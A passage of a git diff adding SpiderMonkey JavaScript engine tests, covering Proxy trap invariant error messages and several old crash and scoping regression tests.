+
+function errorHasPropertyTestsWithDetails(test) {
+ let [throwable, details] = test(STR);
+ assertThrowsTypeErrorIncludes(throwable, STR_NAME, details);
+
+ [throwable, details] = test(SYM);
+ assertThrowsTypeErrorIncludes(throwable, SYM_NAME, details);
+}
+
+// getOwnPropertyDescriptor
+
+function testGetOwnPropertyDescriptor_OBJORUNDEF(propName) {
+ // JSMSG_PROXY_GETOWN_OBJORUNDEF
+ const h = {
+ getOwnPropertyDescriptor: () => 2
+ };
+
+ const t = {};
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_NC_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_NC_AS_NE
+ const h = {
+ getOwnPropertyDescriptor: () => undefined
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_E_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_E_AS_NE
+ const h = {
+ getOwnPropertyDescriptor: () => undefined,
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+ Reflect.preventExtensions(t);
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_NE_AS_NC(propName) {
+ // JSMSG_CANT_REPORT_NE_AS_NC
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_C_AS_NC(propName) {
+ // JSMSG_CANT_REPORT_C_AS_NC
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false // here's the difference
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_INVALID_NOT_EXTENSIBLE(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_NOT_EXTENSIBLE
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.preventExtensions(t);
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report an extensible object as non-extensible"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_C_AS_NC(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NC_AS_C
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report an existing non-configurable property as configurable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_ENUM_DIFFERENT_CURRENT(cEnumerable, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_ENUM_DIFFERENT
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: !cEnumerable,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: cEnumerable,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report a different 'enumerable' from target when target is not configurable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_CURRENT_NC_DIFF_TYPE(cAccessor, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CURRENT_NC_DIFF_TYPE
+ const accDesc = {
+ get: () => 1,
+ enumerable: true,
+ configurable: false,
+ };
+ const dataDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const h = {
+ getOwnPropertyDescriptor: () => { return (cAccessor ? dataDesc : accDesc); }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, cAccessor ? accDesc : dataDesc);
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report a different descriptor type when target is not configurable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_NW_AS_W(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NW_AS_W
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report a non-configurable, non-writable property as writable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_DIFFERENT_VALUE(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_DIFFERENT_VALUE
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy must report the same value for the non-writable, non-configurable property"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_SETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_SETTERS_DIFFERENT
+ const g = () => 1;
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report different setters for a currently non-configurable property"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_GETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_GETTERS_DIFFERENT
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report different getters for a currently non-configurable property"];
+}
+
+// defineProperty
+function testDefineProperty_CANT_DEFINE_NEW(propName) {
+ // JSMSG_CANT_DEFINE_NEW
+ const h = {
+ defineProperty: () => true
+ };
+
+ const t = {};
+ Reflect.preventExtensions(t);
+
+ const p = new Proxy(t, h);
+ Reflect.defineProperty(p, propName, {});
+}
+
+function testDefineProperty_NE_AS_NC(propName) {
+ // JSMSG_CANT_DEFINE_NE_AS_NC
+ const h = {
+ defineProperty: () => true
+ };
+
+ const t = {};
+
+ const p = new Proxy(t, h);
+ Reflect.defineProperty(p, propName, {
+ value: 1,
+ enumerable: true,
+ writable: true,
+ configurable: false,
+ });
+}
+
+/* Reflect.defineProperty(proxy, propName, desc) cannot throw
+ * JSMSG_CANT_REPORT_INVALID with DETAILS_NOT_EXTENSIBLE. Here's why:
+ *
+ * To throw with DETAILS_NOT_EXTENSIBLE, current must be undefined and the
+ * target must not be extensible, inside ValidateAndApplyPropertyDescriptor.
+ *
+ * ValidateAndApplyPropertyDescriptor's current is also
+ * IsCompatiblePropertyDescriptor's current, and therefore also
+ * targetDesc in [[DefineOwnProperty]] for proxies at step 16b.
+ *
+ * BUT step 16 is not reached if targetDesc in [[DefineOwnProperty]] is
+ * undefined: instead step 15 is invoked. QED.
+ */
+
+function testDefineProperty_INVALID_NC_AS_C(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NC_AS_C
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report an existing non-configurable property as configurable"];
+}
+
+function testDefineProperty_INVALID_ENUM_DIFFERENT_CURRENT(cEnumerable, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_ENUM_DIFFERENT
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: !cEnumerable,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: cEnumerable,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report a different 'enumerable' from target when target is not configurable"];
+}
+
+function testDefineProperty_INVALID_CURRENT_NC_DIFF_TYPE(cAccessor, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CURRENT_NC_DIFF_TYPE
+ const accDesc = {
+ get: () => 1,
+ enumerable: true,
+ configurable: false,
+ };
+ const dataDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const h = {
+ defineProperty: () => true,
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, cAccessor ? accDesc : dataDesc);
+ const p = new Proxy(t, h);
+ return [() => { Reflect.defineProperty(p, propName, cAccessor ? dataDesc : accDesc); },
+ "proxy can't report a different descriptor type when target is not configurable"];
+}
+
+function testDefineProperty_INVALID_NW_AS_W(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NW_AS_W
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report a non-configurable, non-writable property as writable"];
+}
+
+function testDefineProperty_INVALID_DIFFERENT_VALUE(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_DIFFERENT_VALUE
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy must report the same value for the non-writable, non-configurable property"];
+}
+
+function testDefineProperty_INVALID_SETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_SETTERS_DIFFERENT
+ const g = () => 1;
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report different setters for a currently non-configurable property"];
+}
+
+function testDefineProperty_INVALID_GETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_GETTERS_DIFFERENT
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report different getters for a currently non-configurable property"];
+}
+
+function testDefineProperty_INVALID_C_AS_NC(propName) {
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't define an existing configurable property as non-configurable"];
+}
+
+// ownKeys
+
+function testOwnKeys_CANT_SKIP_NC(propName) {
+ // JSMSG_CANT_SKIP_NC
+ const h = {
+ ownKeys: () => []
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+
+ Reflect.ownKeys(p);
+}
+
+function testOwnKeys_E_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_E_AS_NE
+ const h = {
+ ownKeys: () => []
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ configurable: true,
+ value: 1,
+ writable: true,
+ enumerable: true
+ });
+
+ Reflect.preventExtensions(t);
+ const p = new Proxy(t, h);
+
+ Reflect.ownKeys(p);
+}
+
+// has
+
+function testHas_NC_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_NC_AS_NE
+ const h = {
+ has: () => undefined
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ Reflect.has(p, propName);
+}
+
+function testHas_E_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_E_AS_NE
+ const h = {
+ has: () => undefined
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+ Reflect.preventExtensions(t);
+ const p = new Proxy(t, h);
+
+ Reflect.has(p, propName);
+}
+
+// get
+
+function testGet_SAME_VALUE(propName) {
+ const h = {
+ get: () => 2
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.get(p, propName);
+}
+
+function testGet_MUST_REPORT_UNDEFINED(propName) {
+ // JSMSG_MUST_REPORT_UNDEFINED
+ const h = {
+ get: () => 2
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ set: () => { /* do nothing */},
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.get(p, propName);
+}
+
+// set
+
+function testSet_CANT_SET_NW_NC(propName) {
+ // JSMSG_CANT_SET_NW_NC
+ const h = {
+ set: () => true,
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.set(p, propName, 3);
+}
+
+function testSet_WO_SETTER(propName) {
+ // JSMSG_MUST_REPORT_UNDEFINED
+ const h = {
+ set: () => true
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: () => { /* do nothing */},
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.set(p, propName, 1);
+}
+
+// test sequence
+
+[
+ testGetOwnPropertyDescriptor_OBJORUNDEF,
+ testGetOwnPropertyDescriptor_NC_AS_NE,
+ testGetOwnPropertyDescriptor_E_AS_NE,
+ testGetOwnPropertyDescriptor_NE_AS_NC,
+ testGetOwnPropertyDescriptor_C_AS_NC,
+
+ testDefineProperty_CANT_DEFINE_NEW,
+ testDefineProperty_NE_AS_NC,
+
+ testOwnKeys_CANT_SKIP_NC,
+ testOwnKeys_E_AS_NE,
+
+ testHas_NC_AS_NE,
+ testHas_E_AS_NE,
+
+ testGet_SAME_VALUE,
+ testGet_MUST_REPORT_UNDEFINED,
+
+ testSet_CANT_SET_NW_NC,
+ testSet_WO_SETTER,
+].forEach(errorHasPropertyTests);
+
+[
+ testGetOwnPropertyDescriptor_INVALID_NOT_EXTENSIBLE,
+ testGetOwnPropertyDescriptor_INVALID_C_AS_NC,
+ testGetOwnPropertyDescriptor_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, true),
+ testGetOwnPropertyDescriptor_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, false),
+ testGetOwnPropertyDescriptor_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, true),
+ testGetOwnPropertyDescriptor_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, false),
+ testGetOwnPropertyDescriptor_INVALID_NW_AS_W,
+ testGetOwnPropertyDescriptor_INVALID_DIFFERENT_VALUE,
+ testGetOwnPropertyDescriptor_INVALID_SETTERS_DIFFERENT,
+ testGetOwnPropertyDescriptor_INVALID_GETTERS_DIFFERENT,
+
+ testDefineProperty_INVALID_NC_AS_C,
+ testDefineProperty_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, true),
+ testDefineProperty_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, false),
+ testDefineProperty_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, true),
+ testDefineProperty_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, false),
+ testDefineProperty_INVALID_NW_AS_W,
+ testDefineProperty_INVALID_DIFFERENT_VALUE,
+ testDefineProperty_INVALID_SETTERS_DIFFERENT,
+ testDefineProperty_INVALID_GETTERS_DIFFERENT,
+ testDefineProperty_INVALID_C_AS_NC,
+].forEach(errorHasPropertyTestsWithDetails);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-139316.js b/js/src/tests/non262/regress/regress-139316.js
new file mode 100644
index 0000000000..45cf177d30
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-139316.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 139316;
+var summary = 'Do not crash in js_ReportIsNotDefined()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
+
+function makeError ()
+{
+ try
+ {
+ foo();
+ }
+ catch (e)
+ {
+ return e;
+ }
+}
+
+
+f = function ()
+{
+ var e = makeError (function c(){}, function (){},
+ {a: 1}, null, undefined,
+ Number.MAX_VALUE, 0, new Number(1),
+ "hello world", str, new String ("newstring"),
+ true, new Boolean(0),
+ new Date());
+ printStatus (e.stack);
+}
+
+ f();
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-140852.js b/js/src/tests/non262/regress/regress-140852.js
new file mode 100644
index 0000000000..13d83ce89e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-140852.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 140852;
+var summary = 'String(number) = xxxx:0000 for some numbers';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value;
+
+value = 99999999999;
+expect = '99999999999';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
+value = 100000000000;
+expect = '100000000000';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
+value = 426067200000;
+expect = '426067200000';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-140974.js b/js/src/tests/non262/regress/regress-140974.js
new file mode 100644
index 0000000000..370272c7c1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-140974.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 May 2002
+ * SUMMARY: |if (false) {var x;} should create the variable x
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=140974
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 140974;
+var TEST_PASSED = 'variable was created';
+var TEST_FAILED = 'variable was NOT created';
+var summary = '|if (false) {var x;}| should create the variable x';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE X --------------
+status = inSection(1);
+actual = TEST_PASSED;
+try{ X;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+var X;
+
+status = inSection(2);
+actual = TEST_PASSED;
+try{ X;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE Y --------------
+status = inSection(3);
+actual = TEST_PASSED;
+try{ Y;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+if (false) {var Y;};
+
+status = inSection(4);
+actual = TEST_PASSED;
+try{ Y;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE Z --------------
+status = inSection(5);
+actual = TEST_PASSED;
+try{ Z;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+if (false) { for (var Z; false;){} }
+
+status = inSection(6);
+actual = TEST_PASSED;
+try{ Z;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js b/js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js
new file mode 100644
index 0000000000..7b145363ce
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs grayRoot
+
+var wm = new WeakMap();
+grayRoot().map = wm;
+wm = null;
+gczeal(13, 7);
+var lfOffThreadGlobal = newGlobal();
+
+reportCompare('do not crash', 'do not crash', 'did not crash!');
diff --git a/js/src/tests/non262/regress/regress-1456512.js b/js/src/tests/non262/regress/regress-1456512.js
new file mode 100644
index 0000000000..24a157ac24
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1456512.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs grayRoot
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 1456512;
+var summary = 'rogue read barrier';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var wm = new WeakMap();
+grayRoot().map = wm;
+wm = null;
+gczeal(13, 7);
+var lfOffThreadGlobal = newGlobal();
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true, "ok");
diff --git a/js/src/tests/non262/regress/regress-1456518-workergray.js b/js/src/tests/non262/regress/regress-1456518-workergray.js
new file mode 100644
index 0000000000..5723ab6241
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1456518-workergray.js
@@ -0,0 +1,7 @@
+if (typeof 'evalInWorder' == 'function') {
+ evalInWorker(`
+ addMarkObservers([grayRoot(), grayRoot().x, this, Object.create(null)]);
+`);
+}
+
+reportCompare('do not crash', 'do not crash', 'did not crash!');
diff --git a/js/src/tests/non262/regress/regress-1463421.js b/js/src/tests/non262/regress/regress-1463421.js
new file mode 100644
index 0000000000..68a4d5977c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1463421.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs grayRoot
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 1463421;
+var summary = 'rogue read barrier';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var exc;
+try {
+var __v_1173 = new WeakMap();
+ grayRoot().map = __v_1173;
+ __v_1173 = null;
+ gczeal(13, 7);
+if (!isNaN()) {
+}
+ (function __f_252() {
+ ( {
+ })()
+ })();
+} catch (e) {
+ exc = e;
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare("" + exc, "TypeError: ({}) is not a function", "ok");
diff --git a/js/src/tests/non262/regress/regress-146596.js b/js/src/tests/non262/regress/regress-146596.js
new file mode 100644
index 0000000000..de21cb98a4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-146596.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 Jun 2002
+ * SUMMARY: Shouldn't crash when catch parameter is "hidden" by varX
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=146596
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 146596;
+var summary = "Shouldn't crash when catch parameter is 'hidden' by varX";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Just seeing we don't crash when executing this function -
+ * This example provided by jim-patterson@ncf.ca
+ *
+ * Brendan: "Jim, thanks for the testcase. But note that |var|
+ * in a JS function makes a function-scoped variable -- JS lacks
+ * block scope apart from for catch variables within catch blocks.
+ *
+ * Therefore the catch variable hides the function-local variable."
+ */
+function F()
+{
+ try
+ {
+ return "A simple exception";
+ }
+ catch(e)
+ {
+ var e = "Another exception";
+ }
+
+ return 'XYZ';
+}
+
+status = inSection(1);
+actual = F();
+expect = "A simple exception";
+addThis();
+
+
+
+/*
+ * Sanity check by Brendan: "This should output
+ *
+ * 24
+ * 42
+ * undefined
+ *
+ * and throw no uncaught exception."
+ *
+ */
+function f(obj)
+{
+ var res = [];
+
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ with(obj)
+ {
+ var e;
+ res[0] = e; // |with| binds tighter than |catch|; s/b |obj.e|
+ }
+
+ res[1] = e; // |catch| binds tighter than function scope; s/b 42
+ }
+
+ res[2] = e; // |var e| has function scope; s/b visible but contain |undefined|
+ return res;
+}
+
+status = inSection(2);
+actual = f({e:24});
+expect = [24, 42, undefined];
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1466387-worker-grayroot.js b/js/src/tests/non262/regress/regress-1466387-worker-grayroot.js
new file mode 100644
index 0000000000..32b74b0792
--- /dev/null
